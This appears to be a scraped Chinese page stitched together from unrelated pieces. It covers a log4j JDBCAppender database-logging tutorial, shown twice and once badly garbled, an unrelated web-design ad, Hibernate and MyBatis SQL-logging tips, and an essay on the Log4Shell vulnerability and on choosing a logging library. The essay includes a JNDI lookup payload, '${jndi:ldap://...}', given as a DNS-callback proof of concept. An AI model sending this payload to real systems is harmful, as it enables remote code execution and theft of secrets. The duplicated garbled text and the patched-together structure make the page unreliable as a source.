、前提條件 系統(tǒng)必須使用LOG4J進(jìn)行志管理否則效 系統(tǒng)必須包含mons-logging-xxx.jarlog4j-xxx.jar兩JAR包XXX版本號 二、操作步驟 1、創(chuàng)建志表 要志持久化必須數(shù)據(jù)庫創(chuàng)建張用存儲志信息表表內(nèi)字段志 主要屬性包括:操作類執(zhí)行打印間志級別志內(nèi)容 CREATE TABLE RESLOG (LOGID VARCHAR2(20) NOT NULL, CLASS VARCHAR2(200), METHOD VARCHAR2(100), CREATETIME DATE, LOGLEVEL VARCHAR2(50), MSG VARCHAR2(4000)) 存儲類類全部路徑所CLASS字段度需要比較 2、志管理配置 LOG4J主要兩種配置文件.properties.xmlproperties文件基礎(chǔ)講 述關(guān)于XML文件配置相信家看完面介紹能輕松完 通LOG4J.PROPERTIES文件第行: log4j.rootLogger= XXX句控制志輸想吧志輸數(shù)據(jù)庫 則需要XXX添加DBlog4j.rootLogger=INFO,stdout,Platform,db面 句志級別INFO信息輸STDOUT,PLATFORMDB (DATABASE) 配置信息LOG4J知道用戶想信息存入數(shù)據(jù)庫接我要 配置數(shù)據(jù)庫相關(guān)信息(包括緩存數(shù)據(jù)庫連接信息執(zhí)行SQL)配置信息: ###JDBCAppender log4j.appender.db = org.apache.log4j.jdbc.JDBCAppender //配置選擇使用JDBCAppender志信息存儲數(shù)據(jù)庫要做其操作自寫類繼承JDBCAppenderOK log4j.appender.db.BufferSize=1 //配置告訴LOG4J條志信息才存入數(shù)據(jù)庫我1,說條查條顯產(chǎn)環(huán)境影響系統(tǒng)性能 log4j.appender.db.driver=oracle.jdbc.driver.OracleDriver //配置告訴LOG4J做數(shù)據(jù)庫存儲所用驅(qū) log4j.appender.db.URL=jdbc:oracle:thin:@:: //配置數(shù)據(jù)庫連接URL用說都知道 log4j.appender.db.user=XXX log4j.appender.db.password=XXX //面兩數(shù)據(jù)庫連接用戶名密碼 log4j.appender.db.sql=insert into RESLOG (LogId,Class,Method,createTime,LogLevel,MSG) values (SQ_RESLOG_LOGID.Nextval,'%C','%M', to_date('%d{yyyy-MM-dd HH:mm:ss}','yyyy-MM-dd HH24:mi:ss'),'%p','%m') //配置告訴LOG4J吧志存儲數(shù)據(jù)庫用SQL語句SQ_RESLOG_LOGID.Nextval我建SEQUENCE;‘%C’志CLASS;‘%M’打印志執(zhí)行類;‘%d’打印間支持格式化;‘%P’志級別包括INFO、DEBUG、ERROR等;‘%m’MSG志內(nèi)容注意參數(shù)區(qū)寫 log4j.appender.db.layout=org.apache.log4j.PatternLayout 通面配置現(xiàn)再啟服務(wù)LOG4J自原存儲.LOG文件信息同存儲數(shù)據(jù)庫
成都創(chuàng)新互聯(lián)堅持“要么做到,要么別承諾”的工作理念,服務(wù)領(lǐng)域包括:網(wǎng)站設(shè)計制作、網(wǎng)站制作、企業(yè)官網(wǎng)、英文網(wǎng)站、手機(jī)端網(wǎng)站、網(wǎng)站推廣等服務(wù),滿足客戶于互聯(lián)網(wǎng)時代的長順網(wǎng)站設(shè)計、移動媒體設(shè)計的需求,幫助企業(yè)找到有效的互聯(lián)網(wǎng)解決方案。努力成為您成熟可靠的網(wǎng)絡(luò)建設(shè)合作伙伴!
一、前提條件 系統(tǒng)必須是使用LOG4J進(jìn)行日志管理,否則方法無效。 系統(tǒng)必須包含中國mons-logging-xxx.jar,log4j-xxx.jar這兩個JAR包,XXX為版本號。 二、操作步驟 1、創(chuàng)建日志表 要把日志持久化,必須在數(shù)據(jù)庫中創(chuàng)建一張用來存儲日志信息的表,表內(nèi)字段為日志 的一個主要屬性包括:操作類,執(zhí)行方法,打印時間,日志級別,日志內(nèi)容。 CREATE TABLE RESLOG (LOGID VARCHAR2(20) NOT NULL, CLASS VARCHAR2(200), METHOD VARCHAR2(100), CREATETIME DATE, LOGLEVEL VARCHAR2(50), MSG VARCHAR2(4000)) 因為存儲的類為類的全部路徑,所以CLASS字段長度需要比較大。 2、日志管理配置 LOG4J主要有兩種配置文件.properties和.xml,這里以properties文件為基礎(chǔ)來講 述,關(guān)于XML文件的配置,相信大家看完下面的介紹也一樣能輕松完成。 通常在LOG4J.PROPERTIES文件的第一行是: log4j.rootLogger= XXX,這句是控制日志的輸出,如果想吧日志輸出到數(shù)據(jù)庫, 則需要在XXX中添加“DB”,如log4j.rootLogger=INFO,stdout,Platform,db。上面 這句就是把日志中級別為INFO的信息輸出到STDOUT,PLATFORM和DB (DATABASE)中。 配置好如上的信息,LOG4J就知道用戶是想把信息存入數(shù)據(jù)庫,接下來我們就要來 配置數(shù)據(jù)庫的相關(guān)信息(包括緩存,數(shù)據(jù)庫連接信息,和執(zhí)行SQL),配置信息如下: ###JDBCAppender log4j.appender.db = org.apache.log4j.jdbc.JDBCAppender //這個配置是選擇使用JDBCAppender方法,將日志信息存儲到數(shù)據(jù)庫。當(dāng)然,如果你還要做其他操作,可以自己寫個類,繼承JDBCAppender就OK了。 log4j.appender.db.BufferSize=1 //這個配置是告訴LOG4J,有中國條日志信息后才存入數(shù)據(jù)庫,我這里是1,就是說有一條就查一條,顯然這樣在生產(chǎn)環(huán)境下是很影響系統(tǒng)性能的。 log4j.appender.db.driver=oracle.jdbc.driver.OracleDriver //這個配置是告訴LOG4J,做數(shù)據(jù)庫存儲所用的驅(qū)動。 log4j.appender.db.URL=jdbc:oracle:thin:@:: //這個配置數(shù)據(jù)庫連接的URL,不用說也都知道。 log4j.appender.db.user=XXX log4j.appender.db.password=XXX //上面兩個是數(shù)據(jù)庫連接時的用戶名和密碼 log4j.appender.db.sql=insert into RESLOG (LogId,Class,Method,createTime,LogLevel,MSG) values (SQ_RESLOG_LOGID.Nextval,'%C','%M', to_date('%d{yyyy-MM-dd HH:mm:ss}','yyyy-MM-dd HH24:mi:ss'),'%p','%m') //這個配置是告訴當(dāng)LOG4J吧日志存儲數(shù)據(jù)庫時用的SQL語句。SQ_RESLOG_LOGID.Nextval是我建的一個SEQUENCE;‘%C’是日志中的CLASS;‘%M’是打印日志是執(zhí)行到類里的方法;‘%d’是打印的時間,它支持格式化;‘%P’是日志級別,包括INFO、DEBUG、ERROR等;‘%m’是MSG,日志內(nèi)容。注意這里的參數(shù)區(qū)分大小寫。 log4j.appender.db.layout=org.apache.log4j.PatternLayout 通過上面的配置,現(xiàn)在再啟動服務(wù),LOG4J就會自動把原來存儲在.LOG文件中的信息,同時存儲到數(shù)據(jù)庫了
hibernate在控制臺顯示sql代碼,是在property節(jié)點添加如下內(nèi)容property name="show_sql"true/property,配置了這個應(yīng)該就可以顯示sql語句。你的錯誤,很有可能是配置的前面的錯誤,影響了后面的運(yùn)行?;蛘吣銓懙拇a根本就沒有實現(xiàn)從數(shù)據(jù)庫提取數(shù)據(jù)的功能。
您好:我的log4j.properties在src目錄下如下: ### logger 的配置 ### #配置根 logger 定義根 logger 配置項。其語法為:級別,輸入終端1,輸出終端2 log4j.rootLogger=INFO,stdout ### direct log messages to stdout
在程序調(diào)試時mybatis并沒有hibernate所提供的showsql功能,只能通過配置log4j日志輸出級別的方式來打印sql。但網(wǎng)上搜到的答案幾乎都是下面的配置方式:
log4j.rootLogger=info,stdout
log4j.appender.stdout=org.apache.log4j.ConsoleAppender
log4j.appender.stdout.layout=org.apache.log4j.SimpleLayout
###顯示SQL語句部分
log4j.logger.com.ibatis=DEBUG
log4j.logger.com.ibatis.common.jdbc.SimpleDataSource=DEBUG
log4j.logger.com.ibatis.common.jdbc.ScriptRunner=DEBUG
log4j.logger.com.ibatis.sqlmap.engine.impl.SqlMapClientDelegate=DEBUG
log4j.logger.java.sql.Connection=DEBUG
log4j.logger.java.sql.Statement=DEBUG
log4j.logger.java.sql.PreparedStatement=DEBUG12345678910111234567891011
rootLogger的級別是info,防止其他地方輸出debug的調(diào)試代碼(rootLogger若設(shè)為debug了,mybatis也沒必要再設(shè)置了)。但這段代碼根本沒有作用!不知是不是我使用的jar包版本比較新的緣故(3.4.1)。經(jīng)過一系列的嘗試,終于找到了解決方案,直接修改dao層的輸出級別即可:
loggers
Logger name="com.github.vita.code.dao" level="trace" /
root level="info"
appender-ref ref="Console"/
/root
/loggers123456123456
上面的是log4j 2的XML配置,1中對應(yīng)的為log4j.logger.com.github.vita.code.dao=trace。這兒把輸出調(diào)成了更低的trace,可以看到更詳細(xì)的信息。
這幾天讓IT從業(yè)人員忙的不可開交的頭等大事便是Log4j的遠(yuǎn)程執(zhí)行漏洞了,我們先看一個簡單的PoC:
先前往dnslog網(wǎng)站,申請一個子域名,假如是“subdomain.dnslog.cn”。
然后執(zhí)行java Main ${jndi:ldap://subdomain.dnslog.cn/any},我們在dnslog網(wǎng)站上刷新請求記錄,便會看到申請的子域名被訪問了。
如果你是一個開發(fā)者,你會知道我們的代碼里面毫無疑問充斥著大量這種用法。如果你是一個安全人員,自然知道當(dāng)惡意訪問人員輸入時可不只是訪問個域名就完事,很有可能把主機(jī)密碼就傳到指定網(wǎng)站了。
那解決的辦法在各大廠、安全公司等也已經(jīng)公布了,無非以下幾種:
WAF或防火墻規(guī)則,我們先不聊,這個大公司都會做,但并不能完全解除問題。
我們把升級JDK、升級logback、替換成logback以及移除log4j的JNDI相關(guān)類都可以看作類庫升級。一方面,這些方案都需要一個應(yīng)用一個應(yīng)用去執(zhí)行(甚至有些需要一個一個實例去處理),重復(fù)勞動,投入較大;另一方面,兼容性存疑,在升級前必然要做一定的回歸測試。此處的兼容性,可以略舉一些例子:比如代碼里寫死了log4j的實現(xiàn)類,而不是slf4j的api時,想要直接替換成logback就不現(xiàn)實。有人可能會說代碼規(guī)范不允許,但他們忘了,規(guī)范和執(zhí)行是2個相關(guān)的事情,但不是必然的因果關(guān)系。比如一些只做維護(hù)的老系統(tǒng),存在時間比很多人工齡都長,還有一些是外包產(chǎn)商開發(fā)維護(hù)的系統(tǒng),這種情況就是穩(wěn)定重于一切。
其余幾個都是修改配置,但其中略有差異。比如環(huán)境變量影響操作系統(tǒng)上所有的應(yīng)用,如果某個應(yīng)用JDK版本較高,又剛好需要這個特性,那么就容易產(chǎn)生bug了。修改PatternLayout容易遺漏,比如通常在自己應(yīng)用的log4j配置文件,但也有可能內(nèi)部框架做了封裝,在jar包有配置,甚至在代碼里做了配置。而在log4j2.component.properties添加配置同修改PatternLayout,也還是需要重新打包構(gòu)建(除非有統(tǒng)一配置中心,并魔改log4j)。
綜上來看,我們要避免開發(fā)人員修改、避免再次構(gòu)建,只做重啟的話,只能是修改環(huán)境變量或添加啟動參數(shù)了。當(dāng)然,每個公司有它自己的體系,某些時候大眾意義的不好用對于它而言,反而是最簡單的。比如,沒有自動化(尤其是k8s)的公司,想要改啟動參數(shù),運(yùn)維一個個實例去修改,那簡直痛不欲生。
如果我們是log4j的開發(fā)人員,當(dāng)產(chǎn)品經(jīng)理提出一個需求,即碰到由“${”開頭、“}”結(jié)尾的日志時,自動做替換,這個需求我們要不要做,怎么做。
剛?cè)胄械奈沂遣粫栆灰龅模粫胫趺醋?,那自然是匹配、解析了?/p>
有一定經(jīng)驗的我則會問這個需求為了解決什么問題,有沒有比產(chǎn)品經(jīng)理提的剛恰當(dāng)?shù)姆绞絹斫鉀Q(產(chǎn)品經(jīng)理資歷較淺,或者對產(chǎn)品不夠熟悉時)。那我們可以看下log4j這個需求的提交記錄最早可以追溯到2013年了,提交記錄較多,可以通過代碼反向推測需求:類似slf4j,將日志中的占位符替換成真實值,真實值可以延遲計算,計算來源支持?jǐn)U展。
從代碼看,目前已有的擴(kuò)展包括ctx(日志事件的上下文)、date(日志事件產(chǎn)生的時間)、env(系統(tǒng)環(huán)境)、jndi(JNDI上下文獲?。ap、sd(結(jié)構(gòu)化事件類型中獲?。?、sys(系統(tǒng)屬性)、web(從web.xml等取ServletContext)
需求是實現(xiàn)了,那還有嗎?
如果是一個資深的研發(fā)人員就會問了,有預(yù)計的使用頻率嗎,如果使用頻率非常高,性能就需要注意不能拖后腿;這個特性如果出現(xiàn)問題,需要關(guān)閉,最好能動態(tài)關(guān)閉;這個特性實際使用了多少次,耗時多少,報錯多少;這個是否會在多線程環(huán)境下執(zhí)行,這段代碼是否線程安全;用戶的輸入能否對服務(wù)器產(chǎn)生破壞,保存后對其他用戶是否產(chǎn)生安全問題。
在一個成熟的企業(yè)中,需要考慮諸如此類的問題。當(dāng)然,很多東西可以模板化,減少開發(fā)人員心智,比如CI/CD實踐中的自動化測試和DevSecOps。
為什么這次的影響這么大,因為它是基礎(chǔ)庫,比如dubbo、kafka、flink等很多框架和中間件都用到了它。同時,這從側(cè)面說明log4j2是一個比較值得選取的日志庫。
那回到技術(shù)選型,以日志為例,我們需要考慮哪些方面呢?
功能。功能是否契合企業(yè)需求,缺失功能是否在未來計劃,或者擴(kuò)展實現(xiàn)難度。如果功能都不滿足,那自然pass。log4j、logback、log4j2都提供了將日志輸出的功能,功能上都能滿足,細(xì)節(jié)根據(jù)各企業(yè)自身情況而定了。
性能。性能自然是非常重要的,生產(chǎn)是沒法debug的,只能通過日志來跟蹤某一個事務(wù)的情況,如果日志耗時太多,TPS自然受影響,用戶體驗變差,還可能導(dǎo)致硬件成本上升。log4j2的性能就比logback要出色,logback比log4j要出色。
群眾基礎(chǔ)和易用性。如果沒人會用,使用起來也困難,大概率很難被接受,也很難流行。文檔是否介紹了架構(gòu)設(shè)計,也有使用文檔,文檔是否支持多種語言(本土語言)。log4j2的配置就比較多,特別是想要較高性能時,配置更是復(fù)雜。
穩(wěn)定性與活躍度。生產(chǎn)上使用,肯定要求穩(wěn),不可能三五天做一次修復(fù)升級。如果功能還未按計劃完全實現(xiàn),那么迭代升級過程中會碰到諸多問題,需要有較多的人提前使用反饋意見做改進(jìn),出現(xiàn)問題時,能夠通過搜索引擎或其他社群解決。
開源協(xié)議。如果不開源,那么使用時心中便會有諸多不安,萬一哪個地方有雷都不知道,出了問題,自己能解決的概率也極低。比如MySQL的雙協(xié)議,要求要么交費(fèi),要么開源改動,不如Apache Licence等寬松,導(dǎo)致很多公司開始選擇PostgreSQL。
生態(tài)。與企業(yè)的整套框架是否有沖突,開發(fā)流程上是否需要做額外的事情。比如很多框架用了log4j2,貿(mào)然引進(jìn)logback,勢必多出工作量來排除log4j2的依賴。比如開發(fā)流程工具只支持logback(當(dāng)然這種場景基本沒有),那么使用log4j2就需要再仔細(xì)想想了。
架構(gòu)設(shè)計與代碼質(zhì)量。如果代碼的架構(gòu)設(shè)計較差,擴(kuò)展性沒設(shè)計好,那么企業(yè)內(nèi)部做擴(kuò)展(二次開發(fā))時,只能修改代碼,與源頭分叉,后續(xù)幾乎沒法合并,無法反哺開源社區(qū),企業(yè)內(nèi)部后續(xù)升級也十分困難。如果代碼質(zhì)量太差,一步一坑,大家直接用腳投票的。
前瞻性。架構(gòu)設(shè)計要有一定的前瞻性,以應(yīng)對未來的變化。功能建設(shè)上也要有一定的前瞻性,實現(xiàn)、驗證、上線三者之間還是需要一定時間的。比起等待,大部分人都是想我現(xiàn)在要。